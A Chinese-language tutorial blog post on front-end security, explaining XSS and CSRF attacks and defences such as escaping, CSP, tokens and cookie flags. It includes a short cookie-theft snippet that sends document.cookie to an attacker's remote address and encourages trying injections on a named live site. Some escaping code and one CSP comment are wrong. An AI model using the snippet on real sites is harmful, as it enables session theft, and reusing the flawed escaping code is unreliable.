前端安全（XSS和CSRF）
文章目录
- 前端安全
-
- XSS
-
-
- 攻击原理
- 实际操作
- 攻击类型
- XSS防御
-
- 开启浏览器自带防御
- 转义字符`<>`（HTML节点内容防御）
- 转义字符`"`和`'`和空格（HTML属性防御）
- 转义字符`"`和`\`或JSON.stringify（JS代码防御）
- 过滤（富文本防御）
- 输出
- CSP
-
- CSRF
-
-
- 攻击原理
- CSRF防御
-
- 禁止第三方网站携带Cookies
- 验证码
- token
- 验证referer
-
- Cookies安全
-
-
- Cookie特性
- Cookies作用
- Cookies登录用户凭证
- Cookies和XSS
- Cookies和CSRF
- Cookies安全策略
-
前端安全
当完成最基本的前后端交互，你会不会对网站的安全性有所担心？接下来我们就认识一下最基本的前端安全问题。
感谢b站前端大佬鱼皮的前端安全学习网站测试鸭测试鸭 - 助你成为面试达人 (mianshiya.com)，你可以任意的通过下面知识“攻击”他的网站，真正体会到前端安全的重要性。
XSS
跨站脚本攻击（Cross Site Scripting）
攻击原理
攻击者想办法将可执行的代码注入到我们的页面中
例如：我们想要根据返回的数据渲染content，而攻击者就将content的内容替换成了一段script脚本，浏览器就会执行它。
攻击者可以通过脚本获取页面数据、获取Cookies、劫持前端逻辑、发送请求等
实际操作
在测试鸭中，我们可以在input框中输入一段脚本
点击搜索，我们会发现，网站"执行了"我们的脚本，这样我们就实现了最简单的xss攻击。如果我们将alert(1)替换成一段远程的脚本。脚本中创建一个图片，图片中创建一个img，在img的src中将请求地址改为自己的脚本，并附带当前网站的cookie，就可以拿到cookie了。
var img = document.createElement('img')
img.src = '个人远程脚本地址?yourCookie=encodeURIComponents(document.cookie)'
或者我们在测试鸭简答题的评论区中注入一段脚本
这段脚本就会被存储在数据库中，只要有用户查看这个界面就会触发这段脚本
攻击类型
XSS攻击方式有两种
- 反射型：即我们前面演示第一种攻击，网站服务端将恶意代码从 URL 中取出，拼接在 HTML 中返回给浏览器，攻击者会将带脚本的url发送给用户
- 存储型：将脚本存放到网站数据库中，即前面演示的第二种，这种方式因为不会显示在url上，更为隐蔽
- DOM型：网页源代码中没有payload，前端 JavaScript 取出 URL 中的恶意代码并执行。
XSS攻击注入点：HTML节点内容、HTML属性、JS代码、富文本
XSS防御
开启浏览器自带防御
设置开启X-XSS-Protection（浏览器默认开启）
他的防御内容非常有限，只能防御参数出现在HTML内容或属性的注入
转义字符<>（HTML节点内容防御）
在显示html内容时将<>全局转义为<和>
str = str.replace(/</g,'<')
str = str.replace(/>/g,'>')
转义字符"和'和空格（HTML属性防御）
在设置html属性的时候将"、'和空格都转义成字符编码
str = str.replace(/"/g,'&quto;')
str = str.replace(/'/g,''')
str = str.replace(/ /g,' ')
转义字符"和\或JSON.stringify（JS代码防御）
js中的转义和html中的不同
str = str.replace(/\\/g,'\\\\')
str = str.replace(/"/g,'\\"')
在上面的内容中我们要考虑的因素还有很多，因此建议直接转为JSON
// 比如js可能被注入到form中
// 在发起请求时可以这样处理
formForJS: JSON.stringify(query.form)
过滤（富文本防御）
因为富文本必须要渲染html格式，所以我们不能使用上面的方法，只能单独过滤数据
使用正则过滤
- 设置黑名单：替换一些数据
- 设置白名单：只支持使用一些数据
综上所述：解决方法主要都是转义字符&<>"'/
输出
不要信任innerHTML、document.write()、eval，这些都容易收到XSS攻击
CSP
内容安全策略：用于指定哪些内容可执行
主要为http的头来规定限制来源
Content-Security-Policy: default-src 'self' // 必须同源
Content-Security-Policy: img-src https: // 只允许加载https协议图片
Content-Security-Policy: child-src 'none' // 允许加载任何来源框架
这是一种较为便捷的防XSS攻击方式
CSRF
跨站请求伪造（Cross Site Request Forgy）
XSS一般是本网站了运行了其他网站的脚本，SCRF则是其他网站对本网站产生了影响（从其他网站对本网站发起请求）
攻击原理
- 用户正常登录A网站，输入一些信息
- A网站确认用户身份，返回cookies标识
- 用户在未登出网站A的时候访问B网站
- B网站使用用户的cookies访问A网站，发起请求
- B网站就相当于操作该用户的账户
从上面的原理不难看出，CSRF的危害就是可以操控你的账户做任何事情。更为严重的后果可能是，攻击者用你的账户再次发布了链接，其他用户一旦点开，就会继续中招，形成CSRF蠕虫，不断传播。
CSRF防御
禁止第三方网站携带Cookies
对Cookies设置SameSite属性，之后第三方网站就拿不到cookies了
验证码
每次涉及到重要操作都要使用验证码
token
相对来说token的用户体验会更好，将token存在我们自己的网页中，只有通过自己的网页发起的请求才能携带token，而只有携带token的请求后端才会响应。因为CSRF不会访问我们的页面，拿不到token，因此实现了防御。
验证referer
referer是http的一个请求头，包含发起网站的地址
我们可以验证发起的请求是否是我们自己页面产生的
Cookies安全
- 存储在前端
- 后端通过http头设置
- 请求时通过http头传给后端
- 遵守同源策略
Cookie特性
- 域名：可以设置对应域名
- 有效期：可以设置有效期
- 路径：可以设置该cookie用于哪个路径
- http-only：只能在请求中使用，不能在js中使用
- secure：是否只支持HTTPS协议
Cookies作用
- 存储个性化设置
- 存储未登录时用户唯一标识
- 存储已登录的用户凭证
- 存储其他业务数据
Cookies登录用户凭证
用户ID：从后端获取用户ID保存到cookie；弊端：直接修改cookie的用户ID就能实现登录其他用户。
用户ID+签名：后端返回用户ID上+签名，现在就算你修改了用户ID，但是签名对不上，就无法进行操作。
SessionId：后端返回的只是一个SessionId，前端只保存这个id到Cookies中，SessionId是一串随机的钥匙，不包含任何用户信息，只有将SessionId传到后端，后端才会获取到对应用户数据。
Cookies和XSS
- XSS可能偷取Cookies
- http-only的Cookie不会被偷
Cookies和CSRF
- CSRF利用了用户Cookies
- 但是由于攻击者没有访问我们的网站，所以无法读写Cookies
- 最好阻止第三方使用Cookies
Cookies安全策略
- 签名防篡改
- 私有变换（加密）
- http-only：防止XSS
- secure：使用HTTPS，确保数据传输过程安全
- same-site：禁止第三方网站携带cookie（可能有兼容性问题）